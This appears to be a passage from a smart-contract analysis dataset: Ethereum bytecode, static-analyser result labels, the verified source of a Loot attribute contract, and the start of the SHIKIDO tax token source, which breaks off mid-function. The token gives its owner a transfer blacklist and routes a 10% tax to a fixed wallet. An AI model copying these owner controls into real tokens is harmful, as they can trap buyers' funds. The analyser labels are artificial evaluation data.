c15750600160a060020a0333166000908152600a602052604090205460ff16155b80156108e45750600160a060020a0333166000908152600b602052604090205442115b15156108ef57600080fd5b6108fd846305f5e1006118f6565b935061090a8486516118f6565b600160a060020a0333166000908152600960205260409020549092508290101561093357600080fd5b5060005b8451811015610abb5784818151811061094c57fe5b90602001906020020151600160a060020a0316158015906109a15750600a600086838151811061097857fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205460ff16155b80156109e65750600b60008683815181106109b857fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b15156109f157600080fd5b610a3560096000878481518110610a0457fe5b90602001906020020151600160a060020a0316600160a060020a0316815260200190815260200160002054856118e7565b60096000878481518110610a4557fe5b90602001906020020151600160a060020a03168152602081019190915260400160002055848181518110610a7557fe5b90602001906020020151600160a060020a031633600160a060020a0316600080516020611cb18339815191528660405190815260200160405180910390a3600101610937565b600160a060020a033316600090815260096020526040902054610ade90836118d5565b33600160a060020a0316600090815260096020526040902055506001949350505050565b60045460ff1690565b60055481565b60015460009033600160a060020a03908116911614610b2f57600080fd5b60085460ff1615610b3f57600080fd5b60008211610b4c57600080fd5b610b58600654836118e7565b600655600160a060020a038316600090815260096020526040902054610b7e90836118e7565b600160a060020a0384166000818152600960205260409081902092909255907f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d41213968859084905190815260200160405180910390a2600160a060020a0383166000600080516020611cb18339815191528460405190815260200160405180910390a350600192915050565b60075481565b60015460009033600160a060020a03908116911614610c2a57600080fd5b60008351118015610c3c575081518351145b1515610c4757600080fd5b5060005b8251811015610d6157818181518110610c6057fe5b90602001906020020151600b6000858481518110610c7a57fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205410610ca857600080fd5b818181518110610cb457fe5b90602001906020020151600b6000858481518110610cce57fe5b90602001906020020151600160a060020a03168152602081019190915260400160002055828181518110610cfe57fe5b90602001906020020151600160a060020a03167f1bd6fb9fa2c39ce5d0d2afa1eaba998963eb5f553fd862c94f131aa9e35c1577838381518110610d3e57fe5b9060200190602002015160405190815260200160405180910390a2600101610c4b565b505050565b600160a060020a031660009081526009602052604090205490565b60015460009033600160a060020a03908116911614610d9f57600080fd5b60085460ff1615610daf57600080fd5b6008805460ff191660011790557fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a150600190565b600154600160a060020a031681565b610e05611c9e565b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108775780601f1061084c57610100808354040283529160200191610877565b60015433600160a060020a03908116911614610e8b57600080fd5b600081118015610ea3575080610ea083610d66565b10155b1515610eae57600080fd5b600160a060020a038216600090815260096020526040902054610ed190826118d5565b600160a060020a038316600090815260096020526040902055600654610ef790826118d5565b600655600160a060020a0382167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58260405190815260200160405180910390a25050565b6000610f45611c9e565b600083118015610f6e5750600160a060020a0333166000908152600a602052604090205460ff16155b8015610f935750600160a060020a0384166000908152600a602052604090205460ff16155b8015610fb65750600160a060020a0333166000908152600b602052604090205442115b8015610fd95750600160a060020a0384166000908152600b602052604090205442115b1515610fe457600080fd5b610fed84611921565b1561100457610ffd848483611929565b915061100f565b610ffd848483611b4b565b5092915050565b600a6020526000908152604090205460ff1681565b600080831180156110555750600160a060020a0333166000908152600a602052604090205460ff16155b801561107a5750600160a060020a0384166000908152600a602052604090205460ff16155b801561109d5750600160a060020a0333166000908152600b602052604090205442115b80156110c05750600160a060020a0384166000908152600b602052604090205442115b15156110cb57600080fd5b6110d484611921565b156110eb576110e4848484611929565b90506110f6565b6110e4848484611b4b565b9392505050565b60015460009033600160a060020a0390811691161461111b57600080fd5b600083511161112957600080fd5b5060005b8251811015610d615782818151811061114257fe5b90602001906020020151600160a060020a0316151561116057600080fd5b81600a600085848151811061117157fe5b90602001906020020151600160a060020a031681526020810191909152604001600020805460ff19169115159190911790558281815181106111af57fe5b90602001906020020151600160a060020a03167f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a583604051901515815260200160405180910390a260010161112d565b600b6020526000908152604090205481565b60015433600160a060020a0390811691161461122c57600080fd5b600755565b6001546000908190819033600160a060020a0390811691161461125357600080fd5b60008551118015611265575083518551145b151561127057600080fd5b5060009050805b84518110156114f557600084828151811061128e57fe5b906020019060200201511180156112c257508481815181106112ac57fe5b90602001906020020151600160a060020a031615155b80156113025750600a60008683815181106112d957fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205460ff16155b80156113475750600b600086838151811061131957fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b151561135257600080fd5b61137584828151811061136157fe5b906020019060200201516305f5e1006118f6565b84828151811061138157fe5b6020908102909101015283818151811061139757fe5b90602001906020020151600960008784815181106113b157fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205410156113e057600080fd5b611439600960008784815181106113f357fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205485838151811061142a57fe5b906020019060200201516118d5565b6009600087848151811061144957fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205561148c8285838151811061147d57fe5b906020019060200201516118e7565b915033600160a060020a03168582815181106114a457fe5b90602001906020020151600160a060020a0316600080516020611cb18339815191528684815181106114d257fe5b9060200190602002015160405190815260200160405180910390a3600101611277565b600160a060020a033316600090815260096020526040902054610ade90836118e7565b60015433600160a060020a0390811691161461153357600080fd5b600160a060020a038116151561154857600080fd5b600154600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600080841180156115dd5750600160a060020a0333166000908152600a602052604090205460ff16155b80156116025750600160a060020a0385166000908152600a602052604090205460ff16155b80156116255750600160a060020a0333166000908152600b602052604090205442115b80156116485750600160a060020a0385166000908152600b602052604090205442115b151561165357600080fd5b61165c85611921565b156118bf578361166b33610d66565b101561167657600080fd5b61168861168233610d66565b856118d5565b600160a060020a0333166000908152600960205260409020556116b36116ad86610d66565b856118e7565b600160a060020a0386166000818152600960205260408082209390935590918490518082805190602001908083835b602083106117015780518252601f1990920191602091820191016116e2565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902060e060020a9004903387876040518563ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a03168152602001838152602001828051906020019080838360005b8381101561179257808201518382015260200161177a565b50505050905090810190601f1680156117bf5780820380516001836020036101000a031916815260200191505b50935050505060006040518083038185885af1935050505015156117df57fe5b826040518082805190602001908083835b6020831061180f5780518252601f1990920191602091820191016117f0565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902085600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c168760405190815260200160405180910390a484600160a060020a031633600160a060020a0316600080516020611cb18339815191528660405190815260200160405180910390a35060016118cd565b6118ca858585611b4b565b90505b949350505050565b6000828211156118e157fe5b50900390565b6000828201838110156110f657fe5b600080831515611909576000915061100f565b5082820282848281151561191957fe5b04146110f657fe5b6000903b1190565b6000808361193633610d66565b101561194157600080fd5b61194d61168233610d66565b600160a060020a0333166000908152600960205260409020556119726116ad86610d66565b600160a060020a03861660008181526009602052604090819020929092558692509063c0ee0b8a90339087908790518463ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611a0b5780820151838201526020016119f3565b50505050905090810190601f168015611a385780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b1515611a5857600080fd5b5af11515611a6557600080fd5b505050826040518082805190602001908083835b60208310611a985780518252601f199092019160209182019101611a79565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902085600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c168760405190815260200160405180910390a484600160a060020a031633600160a060020a0316600080516020611cb18339815191528660405190815260200160405180910390a3506001949350505050565b600082611b5733610d66565b1015611b6257600080fd5b611b74611b6e33610d66565b846118d5565b600160a060020a033316600090815260096020526040902055611b9f611b9985610d66565b846118e7565b600160a060020a03851660009081526009602052604090819020919091558290518082805190602001908083835b60208310611bec5780518252601f199092019160209182019101611bcd565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902084600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c168660405190815260200160405180910390a483600160a060020a031633600160a060020a0316600080516020611cb18339815191528560405190815260200160405180910390a35060019392505050565b602060405190810160405260008152905600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820e1c326a13d4fb75d4ec0638bfe0214d5ab45094c10fa97d4d88b3572a630d7070029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 4,029 |
0x3eb43b1545a360d1D065CB7539339363dFD445F3
|
/**
*Submitted for verification at Etherscan.io on 2021-08-30
*/
// SPDX-License-Identifier: Unlicense
/*
LootComponents.sol
This is a utility contract to make it easier for other
contracts to work with Loot properties.
Call weaponComponents(), chestComponents(), etc. to get
an array of attributes that correspond to the item.
The return format is:
uint256[5] =>
[0] = Item ID
[1] = Suffix ID (0 for none)
[2] = Name Prefix ID (0 for none)
[3] = Name Suffix ID (0 for none)
[4] = Augmentation (0 = false, 1 = true)
See the item and attribute tables below for corresponding IDs.
*/
pragma solidity ^0.8.4;
contract LootComponents {
string[] private weapons = [
"Warhammer", // 0
"Quarterstaff", // 1
"Maul", // 2
"Mace", // 3
"Club", // 4
"Katana", // 5
"Falchion", // 6
"Scimitar", // 7
"Long Sword", // 8
"Short Sword", // 9
"Ghost Wand", // 10
"Grave Wand", // 11
"Bone Wand", // 12
"Wand", // 13
"Grimoire", // 14
"Chronicle", // 15
"Tome", // 16
"Book" // 17
];
string[] private chestArmor = [
"Divine Robe", // 0
"Silk Robe", // 1
"Linen Robe", // 2
"Robe", // 3
"Shirt", // 4
"Demon Husk", // 5
"Dragonskin Armor", // 6
"Studded Leather Armor",// 7
"Hard Leather Armor", // 8
"Leather Armor", // 9
"Holy Chestplate", // 10
"Ornate Chestplate", // 11
"Plate Mail", // 12
"Chain Mail", // 13
"Ring Mail" // 14
];
string[] private headArmor = [
"Ancient Helm", // 0
"Ornate Helm", // 1
"Great Helm", // 2
"Full Helm", // 3
"Helm", // 4
"Demon Crown", // 5
"Dragon's Crown", // 6
"War Cap", // 7
"Leather Cap", // 8
"Cap", // 9
"Crown", // 10
"Divine Hood", // 11
"Silk Hood", // 12
"Linen Hood", // 13
"Hood" // 14
];
string[] private waistArmor = [
"Ornate Belt", // 0
"War Belt", // 1
"Plated Belt", // 2
"Mesh Belt", // 3
"Heavy Belt", // 4
"Demonhide Belt", // 5
"Dragonskin Belt", // 6
"Studded Leather Belt", // 7
"Hard Leather Belt", // 8
"Leather Belt", // 9
"Brightsilk Sash", // 10
"Silk Sash", // 11
"Wool Sash", // 12
"Linen Sash", // 13
"Sash" // 14
];
string[] private footArmor = [
"Holy Greaves", // 0
"Ornate Greaves", // 1
"Greaves", // 2
"Chain Boots", // 3
"Heavy Boots", // 4
"Demonhide Boots", // 5
"Dragonskin Boots", // 6
"Studded Leather Boots",// 7
"Hard Leather Boots", // 8
"Leather Boots", // 9
"Divine Slippers", // 10
"Silk Slippers", // 11
"Wool Shoes", // 12
"Linen Shoes", // 13
"Shoes" // 14
];
string[] private handArmor = [
"Holy Gauntlets", // 0
"Ornate Gauntlets", // 1
"Gauntlets", // 2
"Chain Gloves", // 3
"Heavy Gloves", // 4
"Demon's Hands", // 5
"Dragonskin Gloves", // 6
"Studded Leather Gloves",// 7
"Hard Leather Gloves", // 8
"Leather Gloves", // 9
"Divine Gloves", // 10
"Silk Gloves", // 11
"Wool Gloves", // 12
"Linen Gloves", // 13
"Gloves" // 14
];
string[] private necklaces = [
"Necklace", // 0
"Amulet", // 1
"Pendant" // 2
];
string[] private rings = [
"Gold Ring", // 0
"Silver Ring", // 1
"Bronze Ring", // 2
"Platinum Ring", // 3
"Titanium Ring" // 4
];
string[] private suffixes = [
// <no suffix> // 0
"of Power", // 1
"of Giants", // 2
"of Titans", // 3
"of Skill", // 4
"of Perfection", // 5
"of Brilliance", // 6
"of Enlightenment", // 7
"of Protection", // 8
"of Anger", // 9
"of Rage", // 10
"of Fury", // 11
"of Vitriol", // 12
"of the Fox", // 13
"of Detection", // 14
"of Reflection", // 15
"of the Twins" // 16
];
string[] private namePrefixes = [
// <no name> // 0
"Agony", // 1
"Apocalypse", // 2
"Armageddon", // 3
"Beast", // 4
"Behemoth", // 5
"Blight", // 6
"Blood", // 7
"Bramble", // 8
"Brimstone", // 9
"Brood", // 10
"Carrion", // 11
"Cataclysm", // 12
"Chimeric", // 13
"Corpse", // 14
"Corruption", // 15
"Damnation", // 16
"Death", // 17
"Demon", // 18
"Dire", // 19
"Dragon", // 20
"Dread", // 21
"Doom", // 22
"Dusk", // 23
"Eagle", // 24
"Empyrean", // 25
"Fate", // 26
"Foe", // 27
"Gale", // 28
"Ghoul", // 29
"Gloom", // 30
"Glyph", // 31
"Golem", // 32
"Grim", // 33
"Hate", // 34
"Havoc", // 35
"Honour", // 36
"Horror", // 37
"Hypnotic", // 38
"Kraken", // 39
"Loath", // 40
"Maelstrom", // 41
"Mind", // 42
"Miracle", // 43
"Morbid", // 44
"Oblivion", // 45
"Onslaught", // 46
"Pain", // 47
"Pandemonium", // 48
"Phoenix", // 49
"Plague", // 50
"Rage", // 51
"Rapture", // 52
"Rune", // 53
"Skull", // 54
"Sol", // 55
"Soul", // 56
"Sorrow", // 57
"Spirit", // 58
"Storm", // 59
"Tempest", // 60
"Torment", // 61
"Vengeance", // 62
"Victory", // 63
"Viper", // 64
"Vortex", // 65
"Woe", // 66
"Wrath", // 67
"Light's", // 68
"Shimmering" // 69
];
string[] private nameSuffixes = [
// <no name> // 0
"Bane", // 1
"Root", // 2
"Bite", // 3
"Song", // 4
"Roar", // 5
"Grasp", // 6
"Instrument", // 7
"Glow", // 8
"Bender", // 9
"Shadow", // 10
"Whisper", // 11
"Shout", // 12
"Growl", // 13
"Tear", // 14
"Peak", // 15
"Form", // 16
"Sun", // 17
"Moon" // 18
];
function random(string memory input) internal pure returns (uint256) {
return uint256(keccak256(abi.encodePacked(input)));
}
function weaponComponents(uint256 tokenId) public view returns (uint256[5] memory) {
return pluck(tokenId, "WEAPON", weapons);
}
function chestComponents(uint256 tokenId) public view returns (uint256[5] memory) {
return pluck(tokenId, "CHEST", chestArmor);
}
function headComponents(uint256 tokenId) public view returns (uint256[5] memory) {
return pluck(tokenId, "HEAD", headArmor);
}
function waistComponents(uint256 tokenId) public view returns (uint256[5] memory) {
return pluck(tokenId, "WAIST", waistArmor);
}
function footComponents(uint256 tokenId) public view returns (uint256[5] memory) {
return pluck(tokenId, "FOOT", footArmor);
}
function handComponents(uint256 tokenId) public view returns (uint256[5] memory) {
return pluck(tokenId, "HAND", handArmor);
}
function neckComponents(uint256 tokenId) public view returns (uint256[5] memory) {
return pluck(tokenId, "NECK", necklaces);
}
function ringComponents(uint256 tokenId) public view returns (uint256[5] memory) {
return pluck(tokenId, "RING", rings);
}
function pluck(uint256 tokenId, string memory keyPrefix, string[] memory sourceArray) internal view returns (uint256[5] memory) {
uint256[5] memory components;
uint256 rand = random(string(abi.encodePacked(keyPrefix, toString(tokenId))));
components[0] = rand % sourceArray.length;
components[1] = 0;
components[2] = 0;
uint256 greatness = rand % 21;
if (greatness > 14) {
components[1] = (rand % suffixes.length) + 1;
}
if (greatness >= 19) {
components[2] = (rand % namePrefixes.length) + 1;
components[3] = (rand % nameSuffixes.length) + 1;
if (greatness == 19) {
// ...
} else {
components[4] = 1;
}
}
return components;
}
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT license
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
}
|
0x608060405234801561001057600080fd5b50600436106100885760003560e01c80634c865a791161005b5780634c865a79146100ef5780638a43aa4614610102578063e0398c1a14610115578063fbe0fbd51461012857600080fd5b8063063e077a1461008d578063196f659e146100b6578063261de77c146100c9578063441870d0146100dc575b600080fd5b6100a061009b366004610b73565b61013b565b6040516100ad9190610bec565b60405180910390f35b6100a06100c4366004610b73565b610241565b6100a06100d7366004610b73565b610338565b6100a06100ea366004610b73565b610430565b6100a06100fd366004610b73565b610527565b6100a0610110366004610b73565b610620565b6100a0610123366004610b73565b610717565b6100a0610136366004610b73565b61080e565b610143610b55565b61023b826040518060400160405280600481526020016352494e4760e01b8152506007805480602002602001604051908101604052809291908181526020016000905b828210156102325783829060005260206000200180546101a590610c60565b80601f01602080910402602001604051908101604052809291908181526020018280546101d190610c60565b801561021e5780601f106101f35761010080835404028352916020019161021e565b820191906000526020600020905b81548152906001019060200180831161020157829003601f168201915b505050505081526020019060010190610186565b50505050610906565b92915050565b610249610b55565b61023b82604051806040016040528060048152602001631210539160e21b8152506005805480602002602001604051908101604052809291908181526020016000905b828210156102325783829060005260206000200180546102ab90610c60565b80601f01602080910402602001604051908101604052809291908181526020018280546102d790610c60565b80156103245780601f106102f957610100808354040283529160200191610324565b820191906000526020600020905b81548152906001019060200180831161030757829003601f168201915b50505050508152602001906001019061028c565b610340610b55565b61023b826040518060400160405280600581526020016415d05254d560da1b8152506003805480602002602001604051908101604052809291908181526020016000905b828210156102325783829060005260206000200180546103a390610c60565b80601f01602080910402602001604051908101604052809291908181526020018280546103cf90610c60565b801561041c5780601f106103f15761010080835404028352916020019161041c565b820191906000526020600020905b8154815290600101906020018083116103ff57829003601f168201915b505050505081526020019060010190610384565b610438610b55565b61023b82604051806040016040528060048152602001631211505160e21b8152506002805480602002602001604051908101604052809291908181526020016000905b8282101561023257838290600052602060002001805461049a90610c60565b80601f01602080910402602001604051908101604052809291908181526020018280546104c690610c60565b80156105135780601f106104e857610100808354040283529160200191610513565b820191906000526020600020905b8154815290600101906020018083116104f657829003601f168201915b50505050508152602001906001019061047b565b61052f610b55565b61023b82604051806040016040528060068152602001652ba2a0a827a760d11b8152506000805480602002602001604051908101604052809291908181526020016000905b8282101561023257838290600052602060002001805461059390610c60565b80601f01602080910402602001604051908101604052809291908181526020018280546105bf90610c60565b801561060c5780601f106105e15761010080835404028352916020019161060c565b820191906000526020600020905b8154815290600101906020018083116105ef57829003601f168201915b505050505081526020019060010190610574565b610628610b55565b61023b82604051806040016040528060048152602001634e45434b60e01b8152506006805480602002602001604051908101604052809291908181526020016000905b8282101561023257838290600052602060002001805461068a90610c60565b80601f01602080910402602001604051908101604052809291908181526020018280546106b690610c60565b80156107035780601f106106d857610100808354040283529160200191610703565b820191906000526020600020905b8154815290600101906020018083116106e657829003601f168201915b50505050508152602001906001019061066b565b61071f610b55565b61023b82604051806040016040528060048152602001631193d3d560e21b8152506004805480602002602001604051908101604052809291908181526020016000905b8282101561023257838290600052602060002001805461078190610c60565b80601f01602080910402602001604051908101604052809291908181526020018280546107ad90610c60565b80156107fa5780601f106107cf576101008083540402835291602001916107fa565b820191906000526020600020905b8154815290600101906020018083116107dd57829003601f168201915b505050505081526020019060010190610762565b610816610b55565b61023b826040518060400160405280600581526020016410d21154d560da1b8152506001805480602002602001604051908101604052809291908181526020016000905b8282101561023257838290600052602060002001805461087990610c60565b80601f01602080910402602001604051908101604052809291908181526020018280546108a590610c60565b80156108f25780601f106108c7576101008083540402835291602001916108f2565b820191906000526020600020905b8154815290600101906020018083116108d557829003601f168201915b50505050508152602001906001019061085a565b61090e610b55565b610916610b55565b600061094a8561092588610a02565b604051602001610936929190610bd7565b604051602081830303815290604052610b24565b90508351816109599190610cb6565b825260006020830181905260408301819052610976601583610cb6565b9050600e81111561099f5760085461098e9083610cb6565b610999906001610c1d565b60208401525b601381106109f7576009546109b49083610cb6565b6109bf906001610c1d565b6040840152600a546109d19083610cb6565b6109dc906001610c1d565b606084015260138114156109ef576109f7565b600160808401525b509095945050505050565b606081610a265750506040805180820190915260018152600360fc1b602082015290565b8160005b8115610a505780610a3a81610c9b565b9150610a499050600a83610c35565b9150610a2a565b60008167ffffffffffffffff811115610a7957634e487b7160e01b600052604160045260246000fd5b6040519080825280601f01601f191660200182016040528015610aa3576020820181803683370190505b5090505b8415610b1c57610ab8600183610c49565b9150610ac5600a86610cb6565b610ad0906030610c1d565b60f81b818381518110610af357634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a905350610b15600a86610c35565b9450610aa7565b949350505050565b600081604051602001610b379190610bc4565b60408051601f19818403018152919052805160209091012092915050565b6040518060a001604052806005906020820280368337509192915050565b600060208284031215610b84578081fd5b5035919050565b60008151815b81811015610bab5760208185018101518683015201610b91565b81811115610bb95782828601525b509290920192915050565b6000610bd08284610b8b565b9392505050565b6000610b1c610be68386610b8b565b84610b8b565b60a08101818360005b6005811015610c14578151835260209283019290910190600101610bf5565b50505092915050565b60008219821115610c3057610c30610cca565b500190565b600082610c4457610c44610ce0565b500490565b600082821015610c5b57610c5b610cca565b500390565b600181811c90821680610c7457607f821691505b60208210811415610c9557634e487b7160e01b600052602260045260246000fd5b50919050565b6000600019821415610caf57610caf610cca565b5060010190565b600082610cc557610cc5610ce0565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fdfea264697066735822122085a79a6fb5578e535156cabaea38c12990847aaccca4b96cef5aa2f530d962f864736f6c63430008040033
|
{"success": true, "error": null, "results": {}}
| 4,030 |
0x3f6156cda3a5047a38ce6c2379cacda8989bee3c
|
/**
*Submitted for verification at Etherscan.io on 2022-02-16
*/
/*
$Shikido - Aikido - Shiba
"Aikido is not ultimately Japanese: It is an art of universal truth and international significance."
Tg - https://t.me/aikidoshiba
Hoping to Build 100% Original Community,
Low Cap Launch on Uniswap,
Eventually move to a Gaming DAO,
Community Mods, Managers will be chosen from the Community only,
Liquidty locked oon Team Finance
Tax 10% - Buy and Sell
Liquidity, Marketing and Reflection
Ownership will be renounced soon after Launch
Max Transaction - 10% at Launch
Slippage 11% +
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract SHIKIDO_ETH is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1_000_000_000_000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
uint256 private _sellTax;
uint256 private _buyTax;
address payable private _feeAddress;
string private constant _name = "Aikido Shiba";
string private constant _symbol = "SHIKIDO";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private removeMaxTx = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddress = payable(0xF1D37f844994F3E306b9456dcC8dA2f970969a62);
_buyTax = 10;
_sellTax = 10;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setremoveMaxTx(bool onoff) external onlyOwner() {
removeMaxTx = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to] ) {
_feeAddr1 = 0;
_feeAddr2 = _buyTax;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) {
require(amount <= _maxTxAmount);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = _sellTax;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddress.transfer(amount);
}
function createPair() external onlyOwner(){
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function openTrading() external onlyOwner() {
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
removeMaxTx = true;
_maxTxAmount = 100_000_000_001 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
